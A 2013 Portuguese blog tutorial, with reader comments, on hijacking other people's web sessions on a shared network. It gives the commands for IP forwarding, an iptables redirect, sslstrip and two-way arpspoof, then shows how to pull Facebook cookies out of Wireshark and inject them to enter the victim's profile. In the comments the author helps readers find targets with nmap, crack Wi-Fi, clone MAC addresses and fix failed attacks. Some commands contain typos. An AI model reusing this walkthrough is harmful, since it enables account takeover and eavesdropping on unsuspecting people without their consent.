terça-feira, 28 de maio de 2013

E ai pessoal!

Achei esse tuto legal e funcional e resolvi postar aqui no blog.

Primeiramente você vai precisar estar na mesma rede que seu alvo. Se você não tem um alvo específico, qualquer rede pública serve.

Vamos precisar de:


  • Uma distro Linux para facilitar
  • Windows qualquer (não sei se foi o chrome ou se foi o mac mas não funcionou no mac)
  • SSLStrip
  • Wireshark
  • Arpspoof
  • Greasemonkey
  • Cookie injector para Greasemonkey
  • Firefox ou Iceweasel

Bastante coisa, não é um tuto muito fácil. Mas depois de um tempo de prática você vê que também não é tão difícil.

Primeiramente baixe tudo o que você não tem. Se você usa Back Track ou Kali, falta apenas o Greasemonkey e o Cookie Injector, com algumas buscas no google você encontra...

Vamos ao tuto então!

Primeiro de tudo temos que ativar o encaminhamento dos pacotes. Para isso basta digitar o comando abaixo:
echo 1 > /proc/sys/net/ipv4/ip_forwarding


O próximo passo é criar uma regra no iptables para redirecionar todo o tráfego:

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080


Agora sim vamos iniciar o ataque de verdade, inicie o sslstrip para ficar escutando o tráfego:
sslstrp -a -l 8080


Agora precisamos do arp spoofing, para isso vamos usar duas vezes o comando arpspoof. Mantenha sempre as 2 abas com os 2 comandos rodando em quanto estiver capturando o tráfego:

arpspoof -i eth0 -t ip_do_alvo ip_do_roteador
arpspoof -i eth0 -t ip_do_roteador ip_do_alvo



E por em quanto chega de terminal, vamos para a interface gráfica do wireshark. No wireshark, inicie a captura de pacotes, e para facilitar no filtro de pacotes coloque o seguinte filtro:

http.cookie contains datr


Provavelmente você não receberá nada de início, mas assim que seu alvo acessar um site como por exemplo o Facebook veja o que acontece:


Provavelmente o último pacote GET é o que contém nosso cookie. Clique com o botão direito nele vá em Copy > Bytes > Printable Text Only:


Agora só precisamos injetar isso na página do Facebook e termos acesso ao perfil do alvo. Vá então para a página do Facebook e aperte ALT + C para abrir uma janelinha bem no meio da página. Nesta janelinha cole o que copiamos antes:


Se você ver uma mensagem como esta é porque o cookie foi injetado com sucesso, agora é só recarregar o Facebook e ver se funcionou:


E ai está! Estamos no perfil da vítima!



Algumas considerações finais:
  • Isto funciona não só no Facebook, praticamente todos os sites geram cookies, então praticamente todos os sites (na verdade a culpa não é do site) estão vulneráveis a esse tipo de ataque.
  • Se a pessoa estiver logando automaticamente porque ela marcou a caixa "Mantenha-me conectado" anteriormente pode ser que isso não funcione.

E era isso! Agora é com você, mas cuidado com o que você faz com isso ;)

63 comentários:

  1. lembrando .. a técnica de sequestro de sessão funciona apenas para redes locais

    ResponderExcluir
    Respostas
    1. Bem lembrado amigo... Se quiser testar com alguém desconhecido, tera que quebrar alguma rede wifi; Ou entrar em alguma rede publica.

      Excluir
  2. a vitima tem q estar usando o firefox tbm? ou se ela usar o chrome funciona?

    ResponderExcluir
    Respostas
    1. Não cara, isso intercepta qualquer navegador em qualquer sistema. :D

      Excluir
  3. é preciso que ela esteja logada no momento ou eu consigo extrair isso se ela já tiver acessado alguma vez a mesma rede que eu?

    ResponderExcluir
    Respostas
    1. Vamos lá!

      1- Você precisa estar na mesma rede

      2- Você captura isso no momento do login dela, mas pode usar depois a qualquer hora (lembrando que cookies tem uma "validade")

      3- Se a pessoa já estiver logada ou tiver o "lembrar minha senha", "entrar automaticamente" e etc, você não vai conseguir.

      Espero que tenha respondido suas dúvidas, qualquer coisa comente novamente ;)

      Excluir
  4. não funciona.. eu recarrego a página e nada..

    ResponderExcluir
    Respostas
    1. Como comentado acima, talvez a pessoa tenha o lembrar senha ativado ou o autocompletar, com isso não funciona. Tente realizar os testes em uma máquina controlada e testar todas as possibilidades para ver qual da e qual não dá!

      Talvez também você pode estar pegando o pacote errado no wireshark.

      Teste ai e qualquer coisa volte a comentar :)

      Excluir
  5. Não tem como descobrir o cookie da pessoa sem ser pela rede local e remontar a sessão ?

    tipo pelo ip dela, e-mail e tals ?

    Adorei as dicas mais to em dúvida nisso =\9

    ResponderExcluir
    Respostas
    1. Obrigado pelo comentario e pela visita :)

      Sim e não. Existem outros métodos para tomar controle de uma máquina remotamente, mas boa parte deles envolvem engenharia social e malwares, o que torna tudo mais complicado.

      Excluir
  6. Respostas
    1. Estar na mesma rede simplificando é estar fisicamente no mesmo lugar que seu alvo, conectado a internet pelo mesmo modem e etc.

      Excluir
    2. Não necessariamente meu querido, se vc controlar remoto o pc da vitima, automaticamente estará na mesma rede, no msm range de IP.

      Excluir
    3. Sim, mais avançado, mas também verdade. VPN e Remote Desktop também é possível.

      Excluir
  7. Como posso descobrir o ip da vítima?

    ResponderExcluir
    Respostas
    1. Existem ferramentas para varredura cara, a mais conhecida é o nmap. Da uma lida nisso.

      Valeu

      Excluir
  8. esses comandos só servem pelo linux mesmo? isso me ferrou pq uso o windows. obs: desculpe a ignorancia, pois ainda to aprendendo

    ResponderExcluir
    Respostas
    1. E ai cara! Se não me engano todos eles você encontra um port para Windows, ou algum programa similar. Mas nós recomendamos fortemente o uso de Linux não só para isso, mas para todo o pentest e estudos do gênero.

      Valeu pelo comentário!

      Excluir
  9. como faço se eu não sei o ip da máquina da pessoa?

    ResponderExcluir
    Respostas
    1. Existem ferramentas para varredura cara, a mais conhecida é o nmap. Da uma lida nisso.

      Valeu

      Excluir
  10. Desculpe, acho que me expressei um pouco mal nas minhas perguntas, pode ter parecido grosseria, mas na verdade é muita vontade em aprender.

    Novamente peço desculpas e parabéns pelo tutorial!

    Abraçs.

    ResponderExcluir
  11. Penso que já não funcione este método. Alguém pode confirmar?

    ResponderExcluir
    Respostas
    1. Funciona sim, mas tem algumas variáveis que tem que ser levadas em conta, como versão do sistema/navegador, suas tools, seu navegador e etc... Tente com outras ferramentas e outros alvos.

      Excluir
    2. Instalei wireshark, fiz um scan à rede e copiei o cookie para o GreaseMonkey e não funcionou, mas estava a usar o Windows e não fiz aqueles primeiros passos indicados inicialmente com o KALI. Vou testar e deixo feedback após.
      Obrigado pela resposta

      Excluir
    3. Segui os passos, consegui obter o cookie mas quando faço a parte de injectar no firefox e faço refresh à pagina, nada acontece...

      Excluir
    4. Cara esse tipo de erro é bem comum, pode ser algo ativo na maquina da vítima ou algo desativado na sua, ou até mesmo pegando o pacote errado, continue tentando. :)

      Assim que sobrar um tempinho nós faremos vídeos demonstrando esses ataques.

      Excluir
    5. Já tentei com o chrome e com o firefox mas em nenhum deles consigo obter o cookie com o c_user. Será esse o problema?

      Excluir
    6. Veja esse video cara, talvez ajude.

      http://www.youtube.com/watch?v=KTRfotUR3Is

      Se o usuário/senha ficar salvo no navegador pode ser que não funcione, tente limpar o cache e remover os cookies, mas o processo é esse mesmo.

      Valeu

      Excluir
  12. Daora o post, estou quase conseguindo!

    ja tentei de outras maneiras mas ainda sem sucesso....
    estou testando com outra maquina aqui em casa mas não chega nenhum frame pelo wireshark, mesmo digitando a senha no outro pc, o que pode ser?
    desde já obrigado!

    ResponderExcluir
    Respostas
    1. Cara quando acontece isso é porque o Linux não está conseguindo interceptar o tráfego de outra máquina. Faça a seguinte teste, tente roubar o cookie da sua própria máquina, talvez seja alguma coisa a ver com os primeiros comandos do tuto. da uma olhadinha nisso ae!

      Valeu :)

      Excluir
  13. Se for uma rede via rádio, todos estão conectados na mesma??

    ResponderExcluir
    Respostas
    1. nao, do mesmo modo que uma rede normal cada um esta em sua rede, o que muda é apenas o meio de transmissão

      Excluir
  14. Amigo poderia me passar o link para download do greasemonkey e cookie injetor para linux. Obrigado

    outra pergunta com a versão ubunto funcionaria da mesma forma ?

    ResponderExcluir
  15. Galera como instalo o Cookie Injector e o Greasemonkey no kali linux?
    Parei ai, nao sei mais oque fazer..

    ResponderExcluir
  16. Ótimo post!
    Mas, o pessoal aqui é meio preguiçoso!
    Procurem na internet não esperem apenas pelo Deivid.

    ResponderExcluir
    Respostas
    1. Exato! Tem dúvidas que eu largo no google e copio a resposta e colo aqui, pessoal nem tenta procurar...

      Excluir
  17. Esses programas são compatíveis com o Ubuntu 14.04?

    ResponderExcluir
    Respostas
    1. Sim, qualquer distro linux e possivelmente win também :)

      Excluir
  18. Bom dia,

    Gostaria muito que alguém me ajudasse...

    Segui todos os passos do tuto, mas nos comandos:

    arpspoof -i eth0 -t ip_do_alvo ip_do_roteador
    arpspoof -i eth0 -t ip_do_roteador ip_do_alvo

    Aparece a seguinte mensagem:
    arpspoof: libnet_open_link(): UID/EUID 0 or capability CAP_NET_RAW required

    Pesquisei e não consegui encontrar a solução.
    Poderiam me ajudar??

    ResponderExcluir
    Respostas
    1. Cara ta usando que SO? Que versão das tools? Isso ta com cara de que falta alguma coisa. Ta com cara que sua máquina não tem algo "CAP_NET_RAW required"

      Vou pesquisar mais a fundo, se eu descobrir algo mais posto aqui

      Excluir
  19. [DÚVIDA URGENTE]
    Fiz todo o processo, foi tudo certo, mas quando termino o processo, a única internet que fica pegando é o do meu Kali! Os notebook que estão conectados na rede ficam todos sem acesso a internet. O QUE PODE SER?

    ResponderExcluir
    Respostas
    1. Resposta e discussão do problema no grupo do Facebook

      Excluir
  20. É possivel, se a pessoa conectou a mesma rede em um dia, mas no momento que for fazer isso estiver em outra rede?

    ResponderExcluir
    Respostas
    1. Existe um ataque que possibilita isso, mas este a pessoa precisa estar na mesma rede e conectando no exato momento em que você está capturando.

      Excluir
  21. como aqui a galera entende mesmo, vou deixar essa pergunta aqui, ja que nao encontrei nada a respeito ainda.
    como faço pra entrar em uma rede sem ser notado.
    no cado, após a quebra de senha de um wifi qualquer, gostaria de usar a mesma sem ser detectado, ou identificado.

    ResponderExcluir
    Respostas
    1. Cara isso é bem complexo, para não dizer impossível. Você tem que ficar visível e acessível para que o roteador consiga entrar em contato com você e encaminhar os pacotes, o protocolo da WiFi funciona assim.

      Acredito que a única coisa que possa ser feita é clonar o MAC Address para parecer com uma máquina confiável, mas no momento que essa máquina conectar vai dar conflito na rede.

      Tenho um artigo sobre isso aqui nas minhas anotações, se for interessante vou traduzir e adaptar para postar aqui. Em quanto isso se quiser bater um papo comigo e com os leitores do blog recomendo o grupo do facebook (https://www.facebook.com/groups/BrutalSecGroup/).

      Excluir
  22. por isso que nao achei nada a respeito, nao tem jeito de "nao ser notado" usando a rede de outra pessoa.

    ResponderExcluir
  23. deivid ve se vc consegue me ajudar.
    apenas clonando o MAC do usuario eu posso usar a rede dele, como se fosse ele? e no caso soh daria conflito de rede quando o proprio usuario e eu com o MAC clonado estivermos conectados ao mesmo tempo?

    ResponderExcluir
    Respostas
    1. Depende!

      Se a rede tiver algum tipo de bloqueio ou filtro por MAC sim, mas se tiver senha provavelmente vai ter que usar alguma outra técnica junto para obter a senha.

      Eu ia fazer um post sobre isso mas minha placa wireless queimou :(

      Excluir
    2. deivid como eu faço pra filtrar soh as senhas, do monte de pacotes capturados?

      Excluir
    3. 1- se a rede tem WPA/WPA2 precisa rodar um programa para capturar e quebrar.

      2- Se for wep tem que capturar uma quantidade grande de pacotes e pela análise da ferramenta ele pega a string que pode ser a senha, ou algo assim.

      Recomendo que antes de tentar sair por ai fazendo wardriving leia um pouco como funciona os protocolos e autenticação das redes wireless e de uma estudada no pacote de ferramentas Aircrack. Recomendo o livro do Nelson Murilo. Tem na Novatec mas se não me engano tá em falta, mas se encontrar la com o código BRUTALSEC tem 20% de desconto...

      Excluir
  24. To com um problemão Deivid...Não consigo o arpspoof (mas tenho uma especie de back track rodando, entao ta tranquilo) nem um firewall similar ao iptables que execute em win8 x32...Pensei no netsh só que o server não rolou...Preciso de algum switch que me permita ao menos digitar esse comandos, vc tem alguma dica para windows?

    ResponderExcluir
  25. tem como usar isso em quem está online pelo celular/tablet?!

    ResponderExcluir
    Respostas
    1. Acredito que não. O método de autenticação em dispositivos móveis pode ser diferente dos computadores.

      Excluir
  26. Quando teclo ( ALT + C ) nao acontece nada, o que deve ser?

    ResponderExcluir
  27. [AJUDA]

    Fiz todos os procedimentos do tutorial e tudo ia bem ate que depois de realizar o comando : arpspoof -i eth0 -t ip_do_alvo ip_do_roteador e arpspoof -i eth0 -t ip_do_roteador ip_do_alvo a internet do alvo para de funcionar . Poderia me ajudar ?

    ResponderExcluir
    Respostas
    1. recomendo que estude um pouco mais como funciona o ataque de arp spoof que já resolverá sua pergunta.

      Mas agilizando um pouco, pode ser um sistema de segurança que bloqueou tua rede ou ele apenas sobrecarregou com as requisições e travou.

      Excluir
  28. é possível capturar pacotes telnets com esse método?

    ResponderExcluir
  29. aperto alt e c ai aparece a janelinha ai eu colo os cookie capturado pra informar o cokie certo dart .;.ai eu aperto ok mais da um erro de alerta e tal o que pode ser deivid .;.entendo um pouco de Linux mais minha mente ta doendo com isso

    ResponderExcluir

Subscribe to RSS Feed Follow me on Twitter!